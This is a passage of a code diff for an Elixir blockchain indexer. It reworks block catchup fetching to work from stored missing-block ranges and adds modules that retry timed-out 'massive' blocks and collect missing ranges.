envs[:concurrency] + else + 0 + end + end + + defp token_instance_fetcher_pool_size(fetcher, supervisor) do + if Application.get_env(:indexer, supervisor)[:disabled?] do + 0 + else + Application.get_env(:indexer, fetcher)[:concurrency] + end end end diff --git a/apps/indexer/lib/indexer/block/catchup/bound_interval_supervisor.ex b/apps/indexer/lib/indexer/block/catchup/bound_interval_supervisor.ex index 181b8e49a75a..45a5b7e81b59 100644 --- a/apps/indexer/lib/indexer/block/catchup/bound_interval_supervisor.ex +++ b/apps/indexer/lib/indexer/block/catchup/bound_interval_supervisor.ex @@ -54,6 +54,7 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisor do @impl GenServer def init(named_arguments) do Logger.metadata(fetcher: :block_catchup) + Process.flag(:trap_exit, true) state = new(named_arguments) @@ -67,7 +68,8 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisor do block_interval = Map.get(named_arguments, :block_interval, @block_interval) minimum_interval = div(block_interval, 2) - bound_interval = BoundInterval.within(minimum_interval..(minimum_interval * 10)) + maximum_interval = (minimum_interval + :timer.seconds(1)) * 10 + bound_interval = BoundInterval.within(minimum_interval..maximum_interval) %__MODULE__{ fetcher: %Catchup.Fetcher{block_fetcher: block_fetcher, memory_monitor: Map.get(named_arguments, :memory_monitor)}, @@ -180,7 +182,13 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisor do @impl GenServer def handle_info(:catchup_index, %__MODULE__{fetcher: %Catchup.Fetcher{} = catchup} = state) do {:noreply, - %__MODULE__{state | task: Task.Supervisor.async_nolink(Catchup.TaskSupervisor, Catchup.Fetcher, :task, [catchup])}} + %__MODULE__{ + state + | task: + Task.Supervisor.async_nolink(Catchup.TaskSupervisor, Catchup.Fetcher, :task, [catchup], + shutdown: Application.get_env(:indexer, :graceful_shutdown_period) + ) + }} end def handle_info( @@ -304,7 +312,7 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisor do } = state ) do Logger.error(fn -> - "Catchup index stream exited because the archive node endpoint at #{Keyword.get(options, :url)} is unavailable. Restarting" + "Catchup index stream exited because the archive node endpoint at #{Keyword.get(options, :urls)} is unavailable. Restarting" end) send(self(), :catchup_index) diff --git a/apps/indexer/lib/indexer/block/catchup/fetcher.ex b/apps/indexer/lib/indexer/block/catchup/fetcher.ex index 1355be20140c..a0bb96d027ac 100644 --- a/apps/indexer/lib/indexer/block/catchup/fetcher.ex +++ b/apps/indexer/lib/indexer/block/catchup/fetcher.ex @@ -9,138 +9,97 @@ defmodule Indexer.Block.Catchup.Fetcher do import Indexer.Block.Fetcher, only: [ - async_import_block_rewards: 1, + async_import_blobs: 2, + async_import_block_rewards: 2, + async_import_celo_epoch_block_operations: 2, async_import_coin_balances: 2, - async_import_created_contract_codes: 1, - async_import_internal_transactions: 1, - async_import_replaced_transactions: 1, - async_import_tokens: 1, - async_import_token_balances: 1, + async_import_created_contract_codes: 2, + async_import_filecoin_addresses_info: 2, + async_import_internal_transactions: 2, + async_import_replaced_transactions: 2, + async_import_signed_authorizations_statuses: 2, + async_import_token_balances: 2, async_import_token_instances: 1, - async_import_uncles: 1, + async_import_tokens: 2, + async_import_uncles: 2, fetch_and_import_range: 2 ] alias Ecto.Changeset + alias EthereumJSONRPC.Utility.RangesHelper alias Explorer.Chain + alias Explorer.Chain.NullRoundHeight + alias Explorer.Utility.{MassiveBlock, MissingBlockRange, MissingRangesManipulator} alias Indexer.{Block, Tracer} - alias Indexer.Block.Catchup.Sequence - alias Indexer.Memory.Shrinkable + alias Indexer.Block.Catchup.TaskSupervisor + alias Indexer.Fetcher.OnDemand.ContractCreator, as: ContractCreatorOnDemand + alias Indexer.Prometheus @behaviour Block.Fetcher - # These are all the *default* values for options. - # DO NOT use them directly in the code. Get options from `state`. - - @blocks_batch_size 10 - @blocks_concurrency 10 - @sequence_name :block_catchup_sequencer - - defstruct blocks_batch_size: @blocks_batch_size, - blocks_concurrency: @blocks_concurrency, - block_fetcher: nil, + defstruct block_fetcher: nil, memory_monitor: nil - @doc false - def default_blocks_batch_size, do: @blocks_batch_size - @doc """ Required named arguments * `:json_rpc_named_arguments` - `t:EthereumJSONRPC.json_rpc_named_arguments/0` passed to `EthereumJSONRPC.json_rpc/2`. - - The follow options can be overridden: - - * `:blocks_batch_size` - The number of blocks to request in one call to the JSONRPC. Defaults to - `#{@blocks_batch_size}`. Block requests also include the transactions for those blocks. *These transactions - are not paginated.* - * `:blocks_concurrency` - The number of concurrent requests of `:blocks_batch_size` to allow against the JSONRPC. - Defaults to #{@blocks_concurrency}. So, up to `blocks_concurrency * block_batch_size` (defaults to - `#{@blocks_concurrency * @blocks_batch_size}`) blocks can be requested from the JSONRPC at once over all - connections. Up to `block_concurrency * receipts_batch_size * receipts_concurrency` (defaults to - `#{@blocks_concurrency * Block.Fetcher.default_receipts_batch_size() * Block.Fetcher.default_receipts_batch_size()}` - ) receipts can be requested from the JSONRPC at once over all connections. - """ - def task( - %__MODULE__{ - blocks_batch_size: blocks_batch_size, - block_fetcher: %Block.Fetcher{json_rpc_named_arguments: json_rpc_named_arguments} - } = state - ) do + def task(state) do Logger.metadata(fetcher: :block_catchup) + Process.flag(:trap_exit, true) - with {:ok, ranges} <- block_ranges(json_rpc_named_arguments) do - case ranges do - # -1 means that latest block is 0, so let realtime indexer get the genesis block - [_..-1] -> - %{first_block_number: 0, missing_block_count: 0, last_block_number: 0, shrunk: false} - - _ -> - # realtime indexer gets the current latest block - _..first = List.last(ranges) - last.._ = List.first(ranges) - - Logger.metadata(first_block_number: first, last_block_number: last) - - missing_ranges = - ranges - # let it fetch from newest to oldest block - |> Enum.reverse() - |> Enum.flat_map(fn f..l -> Chain.missing_block_number_ranges(l..f) end) - - range_count = Enum.count(missing_ranges) - - missing_block_count = - missing_ranges - |> Stream.map(&Enum.count/1) - |> Enum.sum() - - Logger.debug(fn -> "Missed blocks in ranges." end, - missing_block_range_count: range_count, - missing_block_count: missing_block_count - ) - - shrunk = - case missing_block_count do - 0 -> - false - - _ -> - step = step(first, last, blocks_batch_size) - sequence_opts = put_memory_monitor([ranges: missing_ranges, step: step], state) - gen_server_opts = [name: @sequence_name] - {:ok, sequence} = Sequence.start_link(sequence_opts, gen_server_opts) - Sequence.cap(sequence) - - stream_fetch_and_import(state, sequence) - - Shrinkable.shrunk?(sequence) - end - - %{ - first_block_number: first, - last_block_number: last, - missing_block_count: missing_block_count, - shrunk: shrunk - } - end + case MissingBlockRange.get_latest_batch(blocks_batch_size() * blocks_concurrency()) do + [] -> + %{ + first_block_number: nil, + last_block_number: nil, + missing_block_count: 0, + shrunk: false + } + + missing_ranges -> + first.._//_ = List.first(missing_ranges) + _..last//_ = List.last(missing_ranges) + + Logger.metadata(first_block_number: first, last_block_number: last) + + missing_block_count = + missing_ranges + |> Stream.map(&Enum.count/1) + |> Enum.sum() + + stream_fetch_and_import(state, missing_ranges) + + %{ + first_block_number: first, + last_block_number: last, + missing_block_count: missing_block_count, + shrunk: false + } end end - defp fetch_last_block(json_rpc_named_arguments) do - case latest_block() do - nil -> - EthereumJSONRPC.fetch_block_number_by_tag("latest", json_rpc_named_arguments) - - number -> - {:ok, number} - end + @doc """ + The number of blocks to request in one call to the JSONRPC. Defaults to + 10. Block requests also include the transactions for those blocks. *These transactions + are not paginated. + """ + def blocks_batch_size do + Application.get_env(:indexer, __MODULE__)[:batch_size] end - defp step(first, last, blocks_batch_size) do - if first < last, do: blocks_batch_size, else: -1 * blocks_batch_size + @doc """ + The number of concurrent requests of `blocks_batch_size` to allow against the JSONRPC. + Defaults to 10. So, up to `blocks_concurrency * block_batch_size` (defaults to + `10 * 10`) blocks can be requested from the JSONRPC at once over all + connections. Up to `block_concurrency * receipts_batch_size * receipts_concurrency` (defaults to + `#{10 * Block.Fetcher.default_receipts_batch_size() * Block.Fetcher.default_receipts_concurrency()}` + ) receipts can be requested from the JSONRPC at once over all connections. + """ + def blocks_concurrency do + Application.get_env(:indexer, __MODULE__)[:concurrency] end @async_import_remaining_block_data_options ~w(address_hash_to_fetched_balance_block_number)a @@ -154,7 +113,9 @@ defmodule Indexer.Block.Catchup.Fetcher do pop_in(options_with_block_rewards_errors[:block_rewards][:errors]) full_chain_import_options = - put_in(options_without_block_rewards_errors, [:blocks, :params, Access.all(), :consensus], true) + options_without_block_rewards_errors + |> put_in([:blocks, :params, Access.all(), :consensus], true) + |> put_in([:blocks, :params, Access.all(), :refetch_needed], false) with {:import, {:ok, imported} = ok} <- {:import, Chain.import(full_chain_import_options)} do async_import_remaining_block_data( @@ -162,6 +123,8 @@ defmodule Indexer.Block.Catchup.Fetcher do Map.put(async_import_remaining_block_data_options, :block_rewards, %{errors: block_reward_errors}) ) + ContractCreatorOnDemand.async_update_cache_of_contract_creator_on_demand(imported) + ok end end @@ -170,60 +133,68 @@ defmodule Indexer.Block.Catchup.Fetcher do imported, %{block_rewards: %{errors: block_reward_errors}} = options ) do - async_import_block_rewards(block_reward_errors) + realtime? = false + + async_import_block_rewards(block_reward_errors, realtime?) async_import_coin_balances(imported, options) - async_import_created_contract_codes(imported) - async_import_internal_transactions(imported) - async_import_tokens(imported) - async_import_token_balances(imported) - async_import_uncles(imported) - async_import_replaced_transactions(imported) + async_import_created_contract_codes(imported, realtime?) + async_import_internal_transactions(imported, realtime?) + async_import_tokens(imported, realtime?) + async_import_token_balances(imported, realtime?) + async_import_uncles(imported, realtime?) + async_import_replaced_transactions(imported, realtime?) async_import_token_instances(imported) + async_import_blobs(imported, realtime?) + async_import_celo_epoch_block_operations(imported, realtime?) + async_import_filecoin_addresses_info(imported, realtime?) + async_import_signed_authorizations_statuses(imported, realtime?) end - defp stream_fetch_and_import(%__MODULE__{blocks_concurrency: blocks_concurrency} = state, sequence) - when is_pid(sequence) do - sequence - |> Sequence.build_stream() - |> Task.async_stream( - &fetch_and_import_range_from_sequence(state, &1, sequence), - max_concurrency: blocks_concurrency, - timeout: :infinity + defp stream_fetch_and_import(state, ranges) do + TaskSupervisor + |> Task.Supervisor.async_stream( + RangesHelper.split(ranges, blocks_batch_size()), + &fetch_and_import_missing_range(state, &1), + max_concurrency: blocks_concurrency(), + timeout: :infinity, + shutdown: Application.get_env(:indexer, :graceful_shutdown_period) ) - |> Stream.run() + |> handle_fetch_and_import_results() end # Run at state.blocks_concurrency max_concurrency when called by `stream_import/1` @decorate trace( name: "fetch", - resource: "Indexer.Block.Catchup.Fetcher.fetch_and_import_range_from_sequence/3", + resource: "Indexer.Block.Catchup.Fetcher.fetch_and_import_missing_range/3", tracer: Tracer ) - defp fetch_and_import_range_from_sequence( + defp fetch_and_import_missing_range( %__MODULE__{block_fetcher: %Block.Fetcher{} = block_fetcher}, - first..last = range, - sequence + first..last//_ = range ) do Logger.metadata(fetcher: :block_catchup, first_block_number: first, last_block_number: last) + Process.flag(:trap_exit, true) - case fetch_and_import_range(block_fetcher, range) do - {:ok, %{inserted: inserted, errors: errors}} -> - errors = cap_seq(sequence, errors) - retry(sequence, errors) + {fetch_duration, result} = :timer.tc(fn -> fetch_and_import_range(block_fetcher, range) end) - {:ok, inserted: inserted} + Prometheus.Instrumenter.block_full_process(fetch_duration, __MODULE__) + + case result do + {:ok, %{errors: errors}} -> + valid_errors = handle_null_rounds(errors) + + {:ok, %{range: range, errors: valid_errors}} {:error, {:import = step, [%Changeset{} | _] = changesets}} = error -> + Prometheus.Instrumenter.import_errors() Logger.error(fn -> ["failed to validate: ", inspect(changesets), ". Retrying."] end, step: step) - push_back(sequence, range) - error {:error, {:import = step, reason}} = error -> + Prometheus.Instrumenter.import_errors() Logger.error(fn -> [inspect(reason), ". Retrying."] end, step: step) - - push_back(sequence, range) + if reason == :timeout, do: add_range_to_massive_blocks(range) error @@ -235,8 +206,6 @@ defmodule Indexer.Block.Catchup.Fetcher do step: step ) - push_back(sequence, range) - error {:error, {step, failed_value, _changes_so_far}} = error -> @@ -247,56 +216,63 @@ defmodule Indexer.Block.Catchup.Fetcher do step: step ) - push_back(sequence, range) - error end rescue exception -> + if timeout_exception?(exception), do: add_range_to_massive_blocks(range) Logger.error(fn -> [Exception.format(:error, exception, __STACKTRACE__), ?\n, ?\n, "Retrying."] end) + {:error, exception} + end - push_back(sequence, range) + defp handle_fetch_and_import_results(results) do + results + |> Enum.reduce([], fn + {:ok, {:ok, %{range: range, errors: errors}}}, acc -> + success_numbers = Enum.to_list(range) -- Enum.map(errors, &block_error_to_number/1) + success_numbers ++ acc - {:error, exception} + _result, acc -> + acc + end) + |> numbers_to_ranges() + |> MissingRangesManipulator.clear_batch() end - defp cap_seq(seq, errors) do - {not_founds, other_errors} = + defp handle_null_rounds(errors) do + {null_rounds, other_errors} = Enum.split_with(errors, fn - %{code: 404, data: %{number: _}} -> true + %{message: "requested epoch was a null round"} -> true _ -> false end) - case not_founds do - [] -> - Logger.debug("got blocks") - - other_errors - - _ -> - Sequence.cap(seq) - end + null_rounds + |> Enum.map(&block_error_to_number/1) + |> NullRoundHeight.insert_heights() other_errors end - defp push_back(sequence, range) do - case Sequence.push_back(sequence, range) do - :ok -> :ok - {:error, reason} -> Logger.error(fn -> ["Could not push back to Sequence: ", inspect(reason)] end) - end + defp timeout_exception?(%{message: message}) when is_binary(message) do + String.match?(message, ~r/due to a timeout/) or String.match?(message, ~r/due to user request/) end - defp retry(sequence, block_errors) when is_list(block_errors) do - block_errors - |> block_errors_to_block_number_ranges() - |> Enum.map(&push_back(sequence, &1)) + defp timeout_exception?(_exception), do: false + + defp add_range_to_massive_blocks(range) do + clear_missing_ranges(range) + + range + |> Enum.to_list() + |> MassiveBlock.insert_block_numbers() end - defp block_errors_to_block_number_ranges(block_errors) when is_list(block_errors) do - block_errors - |> Enum.map(&block_error_to_number/1) + defp clear_missing_ranges(initial_range, errors \\ []) do + success_numbers = Enum.to_list(initial_range) -- Enum.map(errors, &block_error_to_number/1) + + success_numbers |> numbers_to_ranges() + |> MissingRangesManipulator.clear_batch() end defp block_error_to_number(%{data: %{number: number}}) when is_integer(number), do: number @@ -305,155 +281,20 @@ defmodule Indexer.Block.Catchup.Fetcher do defp numbers_to_ranges(numbers) when is_list(numbers) do numbers - |> Enum.sort() + |> Enum.sort(&>=/2) |> Enum.chunk_while( nil, fn number, nil -> {:cont, number..number} - number, first..last when number == last + 1 -> + number, first..last//_ when number == last - 1 -> {:cont, first..number} number, range -> {:cont, range, number..number} end, - fn range -> {:cont, range} end + fn range -> {:cont, range, nil} end ) end - - defp put_memory_monitor(sequence_options, %__MODULE__{memory_monitor: nil}) when is_list(sequence_options), - do: sequence_options - - defp put_memory_monitor(sequence_options, %__MODULE__{memory_monitor: memory_monitor}) - when is_list(sequence_options) do - Keyword.put(sequence_options, :memory_monitor, memory_monitor) - end - - @doc """ - Puts a list of block numbers to the front of the sequencing queue. - """ - @spec push_front([non_neg_integer()]) :: :ok | {:error, :queue_unavailable | :maximum_size | String.t()} - def push_front(block_numbers) do - if Process.whereis(@sequence_name) do - Enum.reduce_while(block_numbers, :ok, fn block_number, :ok -> - if is_integer(block_number) do - case Sequence.push_front(@sequence_name, block_number..block_number) do - :ok -> {:cont, :ok} - {:error, _} = error -> {:halt, error} - end - else - Logger.warn(fn -> ["Received a non-integer block number: ", inspect(block_number)] end) - end - end) - else - {:error, :queue_unavailable} - end - end - - @doc false - def block_ranges(json_rpc_named_arguments) do - block_ranges_string = Application.get_env(:indexer, :block_ranges) - - ranges = - block_ranges_string - |> String.split(",") - |> Enum.map(fn string_range -> - case String.split(string_range, "..") do - [from_string, "latest"] -> - parse_integer(from_string) - - [from_string, to_string] -> - with {from, ""} <- Integer.parse(from_string), - {to, ""} <- Integer.parse(to_string) do - if from <= to, do: from..to, else: nil - else - _ -> nil - end - - _ -> - nil - end - end) - |> sanitize_ranges() - - case List.last(ranges) do - _from.._to -> - {:ok, ranges} - - nil -> - with {:ok, latest_block_number} <- fetch_last_block(json_rpc_named_arguments) do - {:ok, [last_block()..(latest_block_number - 1)]} - end - - num -> - with {:ok, latest_block_number} <- - EthereumJSONRPC.fetch_block_number_by_tag("latest", json_rpc_named_arguments) do - {:ok, List.update_at(ranges, -1, fn _ -> num..(latest_block_number - 1) end)} - end - end - end - - defp sanitize_ranges(ranges) do - ranges - |> Enum.filter(&(not is_nil(&1))) - |> Enum.sort_by( - fn - from.._to -> from - el -> el - end, - :asc - ) - |> Enum.chunk_while( - nil, - fn - _from.._to = chunk, nil -> - {:cont, chunk} - - _ch_from..ch_to = chunk, acc_from..acc_to = acc -> - if Range.disjoint?(chunk, acc), - do: {:cont, acc, chunk}, - else: {:cont, acc_from..max(ch_to, acc_to)} - - num, nil -> - {:halt, num} - - num, acc_from.._ = acc -> - if Range.disjoint?(num..num, acc), do: {:cont, acc, num}, else: {:halt, acc_from} - - _, num -> - {:halt, num} - end, - fn reminder -> {:cont, reminder, nil} end - ) - end - - defp last_block do - string_value = Application.get_env(:indexer, :first_block) - - case Integer.parse(string_value) do - {integer, ""} -> - integer - - _ -> - min_missing_block_number = - "min_missing_block_number" - |> Chain.get_last_fetched_counter() - |> Decimal.to_integer() - - min_missing_block_number - end - end - - defp latest_block do - string_value = Application.get_env(:indexer, :last_block) - parse_integer(string_value) - end - - defp parse_integer(integer_string) do - case Integer.parse(integer_string) do - {integer, ""} -> integer - _ -> nil - end - end end diff --git a/apps/indexer/lib/indexer/block/catchup/massive_blocks_fetcher.ex b/apps/indexer/lib/indexer/block/catchup/massive_blocks_fetcher.ex new file mode 100644 index 000000000000..ea3de2e8d538 --- /dev/null +++ b/apps/indexer/lib/indexer/block/catchup/massive_blocks_fetcher.ex @@ -0,0 +1,92 @@ +defmodule Indexer.Block.Catchup.MassiveBlocksFetcher do + @moduledoc """ + Fetches and indexes blocks by numbers from massive_blocks table. + """ + + use GenServer + + require Logger + + alias Explorer.Utility.MassiveBlock + alias Indexer.Block.Fetcher + + @increased_interval 10000 + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_) do + send_new_task() + + {:ok, %{block_fetcher: generate_block_fetcher(), low_priority_blocks: []}} + end + + @impl true + def handle_info(:task, %{low_priority_blocks: low_priority_blocks} = state) do + {result, new_low_priority_blocks} = + case MassiveBlock.get_last_block_number(low_priority_blocks) do + nil -> + case low_priority_blocks do + [number | rest] -> + failed_blocks = process_block(state.block_fetcher, number) + {:processed, rest ++ failed_blocks} + + [] -> + {:empty, []} + end + + number -> + failed_blocks = process_block(state.block_fetcher, number) + {:processed, low_priority_blocks ++ failed_blocks} + end + + case result do + :processed -> send_new_task() + :empty -> send_new_task(@increased_interval) + end + + {:noreply, %{state | low_priority_blocks: new_low_priority_blocks}} + end + + def handle_info(_, state) do + {:noreply, state} + end + + defp process_block(block_fetcher, number) do + case Fetcher.fetch_and_import_range(block_fetcher, number..number, %{timeout: :infinity}) do + {:ok, _result} -> + Logger.info("MassiveBlockFetcher successfully processed block #{inspect(number)}") + MassiveBlock.delete_block_number(number) + [] + + {:error, error} -> + Logger.error("MassiveBlockFetcher failed: #{inspect(error)}") + [number] + end + rescue + error -> + Logger.error("MassiveBlockFetcher failed: #{inspect(error)}") + [number] + end + + defp generate_block_fetcher do + receipts_batch_size = Application.get_env(:indexer, :receipts_batch_size) + receipts_concurrency = Application.get_env(:indexer, :receipts_concurrency) + json_rpc_named_arguments = Application.get_env(:indexer, :json_rpc_named_arguments) + + %Fetcher{ + broadcast: :catchup, + callback_module: Indexer.Block.Catchup.Fetcher, + json_rpc_named_arguments: json_rpc_named_arguments, + receipts_batch_size: receipts_batch_size, + receipts_concurrency: receipts_concurrency + } + end + + defp send_new_task(interval \\ 0) do + Process.send_after(self(), :task, interval) + end +end diff --git a/apps/indexer/lib/indexer/block/catchup/missing_ranges_collector.ex b/apps/indexer/lib/indexer/block/catchup/missing_ranges_collector.ex new file mode 100644 index 000000000000..4888a04c2bc5 --- /dev/null +++ b/apps/indexer/lib/indexer/block/catchup/missing_ranges_collector.ex @@ -0,0 +1,496 @@ +defmodule Indexer.Block.Catchup.MissingRangesCollector do + @moduledoc """ + Collects and manages missing block ranges in the blockchain. + + This module implements a GenServer that identifies and tracks blocks that haven't + been indexed yet. It supports different scanning strategies based on configuration: + + ## Scanning Strategies + + Both scanning strategies operate as continuous processes that work through iterations, + but they differ in how they initialize and progress through the blockchain: + + - **Bidirectional scanning** - Used when either no block ranges are configured or + when using a single range ending with "latest" (e.g., "0..latest"). This strategy: + * Initially populates the database with a single batch of missing blocks (limited + by `batch_size`, default 100,000) starting from the current blockchain height + and working backward + * Maintains two boundaries in the server state: `min_fetched_block_number` for + backward scanning toward genesis, and `max_fetched_block_number` for forward + scanning toward the current chain head + * During each scanning iteration: + - Calculates a range of blocks to examine (either backward from `min_fetched_block_number` + or forward from `max_fetched_block_number`) + - Queries the blockchain to identify which specific blocks are missing within that range + - Consolidates adjacent missing blocks into compact ranges for efficient storage + - Inserts these identified missing block ranges into the database + - Updates the appropriate boundary in the state for the next iteration + * Alternates between backward and forward scanning directions with different timing + intervals (10ms for initial backward scanning, 1 minute for subsequent scans) + * Completes initial phase when reaching the configured first block, then continues + with primarily forward scanning for new blocks + + - **Range-specific scanning** - Used when specific finite ranges or multiple ranges + are configured. This strategy: + * Clears all existing missing block ranges from the database + * For each configured range (e.g., "100..200,1000..9000"), identifies all missing + blocks within those ranges by querying the blockchain + * Saves all identified missing ranges to the database in a single batch operation + * When a range ends with "latest" (except for a single "X..latest" range), only + schedules forward scanning from the highest point of the explicit ranges + * Only scans within the specific ranges, ignoring blocks outside these boundaries + + ## Configuration + + The behavior is controlled through application configuration: + + - `:block_ranges` - A comma-separated string of block ranges (e.g., "0..1000,2000..latest"). + When set to a single range ending with "latest" (e.g., "0..latest"), it behaves + like no ranges are configured, using the more efficient bidirectional approach. + + - `:first_block` - The lowest block number to consider for scanning. + + - `:last_block` - If set, defines the upper boundary for scanning. If not set, + scanning continues indefinitely as the blockchain grows. + + - `:batch_size` - The maximum number of blocks to process in each scanning iteration. + This limits how many blocks are examined for missing entries in a single pass + (default 100,000) and applies to both backward and forward scanning operations. + """ + + use GenServer + use Utils.CompileTimeEnvHelper, future_check_interval: [:indexer, [__MODULE__, :future_check_interval]] + + alias EthereumJSONRPC.Utility.RangesHelper + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Utility.{MissingBlockRange, MissingRangesManipulator} + + @default_missing_ranges_batch_size 100_000 + @past_check_interval 10 + @increased_past_check_interval :timer.minutes(1) + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_) do + {:ok, %{min_fetched_block_number: nil, max_fetched_block_number: nil}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, _state) do + {:noreply, define_init()} + end + + # Determines and initializes the appropriate missing block range collection state. + # + # Checks the application configuration for block ranges and initializes the state + # accordingly: + # - If no ranges are configured, plans for full chain scanning + # - If ranges are configured, parses them and initializes based on the type: + # * For invalid or empty ranges, plans for full chain scanning + # * For a single range ending with "latest" (e.g., "0..latest" or "X..latest"), + # plans for full chain scanning with bidirectional scanning similar to when + # no ranges are configured + # * For finite ranges, plans for scanning with the specified block ranges + # * For multiple ranges where at least one ends with "latest", plans for scanning + # with the ranges and every block after the lowest one in the range with the + # open range + # + # ## Returns + # A map containing: + # - `max_fetched_block_number`: The highest block number to collect up to + # - `first_check_completed?`: Set to `false` to indicate initial check is pending + # - `min_fetched_block_number`: Optional lowest block number to start from + @spec define_init() :: %{ + :max_fetched_block_number => non_neg_integer(), + :first_check_completed? => boolean(), + optional(:min_fetched_block_number) => non_neg_integer() + } + defp define_init do + case Application.get_env(:indexer, :block_ranges) do + nil -> + default_init() + + string_ranges -> + case parse_block_ranges(string_ranges) do + :no_ranges -> default_init() + # "100-200" or "100..200,300..400" + {:finite_ranges, ranges} -> ranges_init(ranges) + # "..latest" + {:infinite_ranges, [], _} -> default_init() + # "100..200,300..latest" + {:infinite_ranges, ranges, max_fetched_block_number} -> ranges_init(ranges, max_fetched_block_number) + end + end + end + + # Initializes the default state for missing block range collection. + # + # Performs the following initialization steps: + # 1. Gets initial block range boundaries including inserting the first batch of + # missing ranges into the database + # 2. Adjusts ranges to respect blockchain boundaries + # 3. Schedules both future and initial past block checks + # + # This function is called when no block ranges are configured or when the + # configured ranges are invalid. + # + # ## Returns + # A map containing: + # - `min_fetched_block_number`: The lowest block number to start collecting from + # - `max_fetched_block_number`: The highest block number to collect up to + # - `first_check_completed?: boolean() + @spec default_init() :: %{ + min_fetched_block_number: non_neg_integer(), + max_fetched_block_number: non_neg_integer(), + first_check_completed?: boolean() + } + defp default_init do + {min_number, max_number} = get_initial_min_max() + + clear_to_bounds(min_number, max_number) + + schedule_future_check() + schedule_past_check(false) + + %{min_fetched_block_number: min_number, max_fetched_block_number: max_number, first_check_completed?: false} + end + + # Initializes the missing block ranges system with a predefined set of ranges. + # + # Performs the following steps: + # 1. Clears all existing missing block ranges from the database + # 2. Identifies missing blocks within each range and saves the new identified + # ranges of missing blocks to the database + # 3. If `max_fetched_block_number` is provided, schedules future block checks + # + # ## Parameters + # - `ranges`: List of `Range` structs defining the block ranges to initialize + # - `max_fetched_block_number`: Optional highest block number processed, used for + # scheduling future checks + # + # ## Returns + # A map containing: + # - `max_fetched_block_number`: The provided max block number or nil + # - `first_check_completed?`: Set to `false` to indicate initial check is pending + @spec ranges_init(list(Range.t()), non_neg_integer() | nil) :: %{ + max_fetched_block_number: non_neg_integer(), + first_check_completed?: boolean() + } + defp ranges_init(ranges, max_fetched_block_number \\ nil) do + Repo.delete_all(MissingBlockRange) + + ranges + |> Enum.reverse() + |> Enum.flat_map(fn f..l//_ -> Chain.missing_block_number_ranges(l..f) end) + |> MissingRangesManipulator.save_batch() + + if not is_nil(max_fetched_block_number) do + schedule_future_check() + end + + %{max_fetched_block_number: max_fetched_block_number, first_check_completed?: false} + end + + # Adjusts the missing block ranges to respect the given boundary constraints. + # + # Processes both the lower and upper boundaries of the missing block ranges: + # - For the lower bound: If `min_number` is below `first_block()`: + # * Removes all ranges that start below the first block + # * Updates any range containing the first block to start at the first block + # - For the upper bound: If `max_number` is above `last_block() - 1`: + # * Removes all ranges that end above the last block + # * Updates any range containing the last block to end at the last block + # + # This ensures that missing block ranges stay within valid blockchain boundaries + # and prevents tracking blocks outside the configured or available range. + # + # ## Parameters + # - `min_number`: The lower boundary for missing block ranges + # - `max_number`: The upper boundary for missing block ranges + defp clear_to_bounds(min_number, max_number) do + first = first_block() + last = last_block() - 1 + + if min_number < first do + first + |> MissingBlockRange.from_number_below_query() + |> Repo.delete_all() + + first + |> MissingBlockRange.include_bound_query() + |> Repo.one() + |> case do + nil -> + :ok + + range -> + range + |> MissingBlockRange.changeset(%{to_number: first}) + |> Repo.update() + end + end + + if max_number > last do + last + |> MissingBlockRange.to_number_above_query() + |> Repo.delete_all() + + last + |> MissingBlockRange.include_bound_query() + |> Repo.one() + |> case do + nil -> + :ok + + range -> + range + |> MissingBlockRange.changeset(%{from_number: last}) + |> Repo.update() + end + end + end + + # Determines the initial boundaries for missing block range collection. + # + # Fetches the current minimum and maximum block numbers from the missing block ranges: + # - If no ranges exist (min and max are nil), creates an initial batch: + # * Uses the last block number from the configuration or fetches the maximum + # block number from the blockchain if not configured as the maximum boundary + # * Fetches a batch of missing ranges backwards from that point + # * Returns the new minimum boundary and the last block as boundaries + # - If ranges exist, returns their minimum and maximum bounds directly + # + # ## Returns + # A tuple `{min, max}` where: + # - `min`: The lowest block number to start collecting from + # - `max`: The highest block number to collect up to + @spec get_initial_min_max() :: {non_neg_integer(), non_neg_integer()} + defp get_initial_min_max do + case MissingBlockRange.fetch_min_max() do + %{min: nil, max: nil} -> + max_number = last_block() + {min_number, first_batch} = fetch_missing_ranges_batch(max_number, false) + MissingRangesManipulator.save_batch(first_batch) + {min_number, max_number} + + %{min: min, max: max} -> + {min, max} + end + end + + # Processes the next batch of future missing blocks when triggered by the scheduled check. + # + # If future updating should continue: + # - Fetches the next batch of missing blocks moving forward + # - Saves the identified missing ranges to the database + # - Schedules the next future check + # - Updates the state with the new maximum block number + # + # The process stops when the configured last block is reached or continues + # indefinitely if no last block is configured. + @impl true + def handle_info(:update_future, %{max_fetched_block_number: max_number} = state) do + if continue_future_updating?(max_number) do + {new_max_number, batch} = fetch_missing_ranges_batch(max_number, true) + MissingRangesManipulator.save_batch(batch) + schedule_future_check() + {:noreply, %{state | max_fetched_block_number: new_max_number}} + else + {:noreply, state} + end + end + + # Processes the next batch of past missing blocks when triggered by the scheduled check. + # + # If the current minimum block number is above first_block(): + # - Fetches the next batch of missing blocks moving backward + # - Saves the identified missing ranges to the database + # - Schedules the next past check based on whether initial check is completed + # - Updates the state with the new minimum block number + # + # When reaching first_block(): + # - Marks the initial check as completed + # - Resets min_fetched_block_number to max_fetched_block_number + # - Schedules future checks at increased intervals + @impl true + def handle_info(:update_past, %{min_fetched_block_number: min_number} = state) do + if min_number > first_block() do + {new_min_number, batch} = fetch_missing_ranges_batch(min_number, false) + MissingRangesManipulator.save_batch(batch) + schedule_past_check(state.first_check_completed?) + {:noreply, %{state | min_fetched_block_number: new_min_number}} + else + schedule_past_check(true) + {:noreply, %{state | min_fetched_block_number: state.max_fetched_block_number, first_check_completed?: true}} + end + end + + # Fetches a batch of missing block ranges in either forward or backward direction. + # + # When `to_future?` is false, searches backwards from the given block number + # towards `first_block()`. When true, searches forwards from the given block + # towards `last_block()`. The batch size is determined by `missing_ranges_batch_size()`. + # + # ## Parameters + # - `min_or_max_block`: The block number to start searching from + # - `to_future?`: Direction of search - `true` for forward, `false` for backward + # + # 